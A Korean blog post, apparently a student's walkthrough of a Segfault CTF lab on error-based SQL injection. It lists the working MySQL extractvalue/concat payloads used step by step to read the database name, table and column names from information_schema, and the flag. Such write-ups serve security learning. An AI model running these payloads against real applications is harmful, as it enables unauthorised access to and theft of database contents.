상세 컨텐츠

본문 제목

Segfault CTF - (7주 차) SQL Injection (Error Based SQLi Basic)

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 5. 17:24

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)

※ CTF - Capture The Flag

※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection (Error Based SQLi Basic)

 

1. 목표 : Flag를 찾으세요!

2. 실행

→ Error Based SQLi이라고 적혀있으니 바로 접근해 봅니다.

 

Error Based SQLi 공격포맷 정립

1' or extractvalue('1', concat(':', (SQL구문) )) #

123' and extractvalue('1', concat(':', (SQL구문) )) #

→ Error Based라서 존재하지 않는 ID라도 상관이 없다.

 

▶ 1단계 DB이름 알아내기 

→ 1' or extractvalue('1', concat(':', database() )) #  DB이름 errSqli 확인

 

▶ 2단계 Table 이름 알아내기 

1' or extractvalue('1', concat(':', (SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli') )) #

결과가 한 줄이 아니라고 한다.

GROUP_CONCAT사용해서 여러개를 한줄에 표현해보자.

 1' or extractvalue('1', concat(':', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='errSqli') )) #

 

▶ 3단계 flagTable에서 Column 이름 알아내기 

1' or extractvalue('1', concat(':', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='errSqli' and table_name='flagTable'))) #

4단계 값 알아내기

1' or extractvalue('1', concat(':', (SELECT group_concat(flag) FROM flagTable) )) #

 

 

플래그 획득

관련글 더보기